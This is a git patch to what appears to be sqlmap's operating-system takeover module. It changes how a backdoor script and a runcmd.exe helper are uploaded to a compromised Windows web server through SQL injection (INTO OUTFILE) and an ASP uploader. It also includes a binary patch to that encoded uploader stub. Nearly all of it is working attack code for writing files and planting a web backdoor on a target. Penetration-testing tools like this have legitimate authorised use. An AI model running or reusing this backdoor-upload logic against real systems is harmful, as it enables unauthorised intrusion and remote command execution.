From 24d3e24db01a4c8421f517c343b4210b5fb6c8c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 25 Feb 2010 12:16:49 +0000 Subject: [PATCH] more updates regarding --os-shell feature --- lib/takeover/web.py | 33 ++++++++++++++++----------------- shell/uploader.asp_ | Bin 1223 -> 1262 bytes 2 files changed, 16 insertions(+), 17 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 0a630adb5..4eb61c9bd 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -111,7 +111,7 @@ class Web: def __webFileInject(self, fileContent, fileName, directory): outFile = posixpath.normpath("%s/%s" % (directory, fileName)) - uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory) + uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\') if kb.os == "Windows" else directory) query = " LIMIT 1 INTO OUTFILE '%s' " % outFile query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) query = agent.prefixQuery(" %s" % query) @@ -200,24 +200,23 @@ class Web: logger.info(infoMsg) if self.webApi == "asp": - scriptsDirectory = "Scripts" runcmdName = "tmpe%s.exe" % randomStr(4) runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) - backdoorUploaded = False - for backdoorDirectoryFormat in ("%s.\%s", "%s..\%s", "%s..\..\%s"): - backdoorDirectory = backdoorDirectoryFormat % (posixToNtSlashes(directory), scriptsDirectory) - backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) - backdoorStream.file.truncate() - backdoorStream.read() - backdoorStream.seek(0) - backdoorStream.write(backdoorContent) - if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): - self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) - self.webBackdoorUrl = "%s/%s/%s" % (self.webBaseUrl.rstrip('/'), scriptsDirectory, backdoorName) - self.webDirectory = backdoorDirectory - backdoorUploaded = True - break - if not backdoorUploaded: + match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) + if match: + backdoorDirectory = match.group(1) + else: + continue + backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) + backdoorStream.file.truncate() + backdoorStream.read() + backdoorStream.seek(0) + backdoorStream.write(backdoorContent) + if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): + self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) + self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName) + self.webDirectory = backdoorDirectory + else: continue elif not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory): warnMsg = "backdoor hasn't been successfully uploaded " diff --git a/shell/uploader.asp_ b/shell/uploader.asp_ index d91b4c706e296360ebe83f40a5f62b1a680a8012..6ca1cee1ea43ae47bba5deaa3510dfeba89fd6ba 100644 GIT binary patch literal 1262 zcmVED-%@K=1#AzxV&(FM0&qMe9+k3TKX* z&7{Fwkdquc7NcuW`|hKYb#nC5?sY;SXYADT^NXM4eCm^-0+RRE$ESm~0RFa1rYk?DH{o|9jH z^q7o)YP0sH1tIe|c*@fm1D^=GTA<|$E*6YujyNf8y)wTPBMM>q9tlHM;|2jm&DFI7 zfU3YUurICFm9v><(U`0#hW_HNhyfw+wk8-1^wP}zf*DtAMC+x2l1Jhv)u@1nWUbMt z;N3bIuETp$w8$opNmXne21o~yS)+p*U_+L4Xe-fMJ)I}1a`uNx|ug7Iz zDt6WjOB-}-zgmGWfaB6VEyuPQqE=|OAoYzI?d)8jj2-i5MB#10;@66EU8-{-a*-T+ z9jK*lI}J#6qn5K+ku)^!m#K#zu5Q)1k29qe9hO1~ipb%un+^$fSmqT7rI_#AJ!v0p`O+9bh zCVoChL;}?)UJwL}&VC3^oY6J;-kySPT|U%I%nR()DYnS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